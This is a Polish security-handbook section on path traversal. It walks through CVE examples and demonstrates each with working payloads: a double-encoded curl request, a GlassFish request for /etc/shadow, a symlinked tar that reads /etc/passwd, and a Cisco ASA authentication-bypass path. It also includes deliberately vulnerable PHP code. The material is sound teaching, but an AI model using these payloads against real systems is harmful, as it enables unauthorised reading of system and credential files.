Podręcznik
4. Błędy kontroli dostępu
4.3. Path traversal
Jedną z najbardziej pożądanych - z punktu widzenia atakujących podatności jest brak kontroli nad dostępem bezpośrednim do plików - znany też jako path traversal.Podatności z rodziny path traversal polegają na nieprawidłowym kontrolowaniu dostępu do plików w drzewie katalogów aplikacji. Jest to jedna z bardziej popularnych kategorii podatności, gdyż pojawia się wszędzie tam, gdzie w jakiś sposób wygenerowana ścieżka dostępu do pliku zależy od danych przekazanych przez użytkownika. Sztandarowym przykładem w języku PHP jest bezpośrednie użycie wartości przekazanej przez użytkownika do konstrukcji ścieżki jak w przypadku CVE-2021-24215 - podatności wtyczki dla CMS Wordpress, która wyglądała w kodzie następująco:
W tym przypadku problem ma swoją podstawę w nieprawidłowym modelu zabezpieczeń polegającym na podejściu blokowania stron, do których dostęp ma być zabroniony. Model ten zakłada, że dostęp do wszystkiego jest dozwolony za wyjątkiem wyszczególnionych podstron. Porównując identyfikator podstrony z listą blokujemy dostęp.
Można to zobrazować na następującym przykładzie ataku double encoding:
Załóżmy, że nasza strona ma "czarną listę" stron zabezpieczonych. Mamy dwa pliki:
index.php
<?php
if ($_REQUEST['page']=="mypage.php")
die("Unauthorized\n\n");
header("Location:".$_REQUEST['page']);
oraz
mypage.php
<?php
echo "Test!\n\n";
Wykonajmy dwa zapytania:
curl -L "<a href="http://172.17.0.2:80/index.php?page=mypage.php" class="_blanktarget">http://172.17.0.2:80/index.php?page=mypage.php</a>"
oraz
curl -L "<a href="http://172.17.0.2:80/index.php?page=%256d%2579%2570%2561%2567%2565%252e%2570%2568%2570" class="_blanktarget">http://172.17.0.2:80/index.php?page=%256d%2579%2570%2561%2567%2565%252e%2570%2568%2570</a>"
Efektem jest poprawne zablokowanie dostępu w pierwszym przypadku i brak blokady w drugim, mimo, że dostęp dotyczy tego samego pliku.
Poprawiony index.php
<?php
if (urldecode($_REQUEST['page'])=="mypage.php")
die("Unauthorized\n\n");
header("Location: ".$_REQUEST['page']);
efekt:
Choć w tym przypadku jest już poprawnie to należałoby zastosować odwrotną logikę aplikacji wychodząc z założenia zablokuj wszystko i dopuść tylko wskazane zasoby.
Innym przykładem jest podatność CVE-2017-1000028 w Oracle GlassFish Server, która umożliwiała dostęp do dowolnego pliku wykorzystując właśnie podobny mechanizm podwójnego kodowania:
GET /theme/META‑INF/prototype%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow
Podatności z kategorii path traversal mogą wykraczać poza klasyczny z PHP przykład
<?php
readfile("document/". $_GET [ "file"] ) ;
I być ukryte w złożonym procesie. Przykładem może być wykorzystanie złośliwego pliku archiwum tar, rozpakowanie go po stronie serwera i odczyt tak przekazanych danych. Inspiracją do poniższego przykładu była podatność CVE-2021-22201 Arbitrary File Read During Project Import (GitLab.com).
Załóżmy, ze zadaniem aplikacji jest załadowanie pliku tar na serwer, rozpakowanie go i serwowanie przez WWW rozpakowanych plików. Można sobie wyobrazić taki scenariusz w systemie współdzielenia plików. Co może pójść źle?
Załóżmy, że pracę wykona skrypt PHP:
<?php
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file"))
rmdir_recursive("$dir/$file");
else
unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["tar"]["name"]) {
$filename = $_FILES["tar"]["name"];
$source = $_FILES["tar"]["tmp_name"];
$name = explode(".", $filename);
$path = dirname(__FILE__).'/';
$filenoext = basename ($filename, '.tar');
$filenoext = basename ($filenoext, '.TAR');
$targetdir = $path . "test/tar";
$targettar = $path . "test/" . $filename;
if (is_dir($targetdir))
rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
$message="Uploaded!";
if(move_uploaded_file($source, $targettar)) {
shell_exec("tar -C ".$targetdir." -xf ".$targettar);
unlink($targettar);
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Untar a tar file to the webserver</title>
</head>
<body>
<?php if($message) echo "<p>$message</p>"; ?>
<form enctype="multipart/form-data" method="post" action="">
<label>Choose a tar file to upload: <input type="file" name="tar" /></label>
<br />
<input type="submit" name="submit" value="Upload" />
</form>
</body></html>
Rozpakowane pliki są dostępne w katalogu /var/www/html/test/tar i można je pobrać przeglądarką.
Przygotujmy więc złośliwy plik archiwum:
mkdir test
cd test
touch plik.txt
ln -s /etc/passwd passwd.txt
tar -cvf wrogi.tar
i po uploadzie naszym formularzem pobierzmy passwd.txt podając pełną ścieżkę
http://url-serwera/test/tar/passwd.txt
Na serwerze natomiast w tym katalogu mamy:
Wykorzystaliśmy tym samym możliwość kompresowania w archiwum tar łączy symbolicznych do nieuprawnionego dostępu do pliku.
Ostatnim przykładem, gdzie pojęcie path traversal tak naprawdę sprowadza się do ominięcia uwierzytelnienia jest CVE-2018-0296 CISCO ASA Web Interface Path Traversal authentication bypass. W tym przypadku założono, że jeżeli ścieżka w zapytaniu zaczyna się na /+CSCOE+/ to zasób nie wymaga uwierzytelnienia, a jeśli na /+CSCOU+/ to wymaga uwierzytelnienia i jeżeli użytkownik nie jest uwierzytelniony, to należy przenieść do procedury uwierzytelnienia. A co jeśli podamy ścieżkę:
GET /+CSCOU+/../+CSCOE+/files/file_list.json?
Pozostawmy odgadnięcie efektu czytelnikowi.